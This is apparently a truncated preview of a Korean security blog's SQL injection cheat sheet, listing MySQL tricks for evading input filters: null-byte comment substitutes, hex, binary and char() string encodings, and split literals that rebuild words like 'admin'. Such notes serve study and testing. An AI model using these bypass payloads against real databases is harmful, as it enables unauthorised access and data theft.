Veloideu - IT∽보안∽프로그래밍
SQL Injection 정리 / 상시 업데이트
🌍WEB 2022. 10. 18. 10:52

주석 #, --, /**/ # 에 대한 필터링 대신 ;%00 Express string select 0x6162; -> ab select 0b110000101100010; -> ab select char(0x61, 0x62); -> ab select concat(char(0x61), char(0x62)); -> ab select mid(@@version,12,1); -> n /* Using Gadget... */ select 'adm' 'in'; -> admin select 'ad''min'; -> ad'min select unhex(unhex(3631363236333634)); -> abcd 문자열 우회 mysql> SELECT reverse('nimda'), concat('adm','in'), x'6..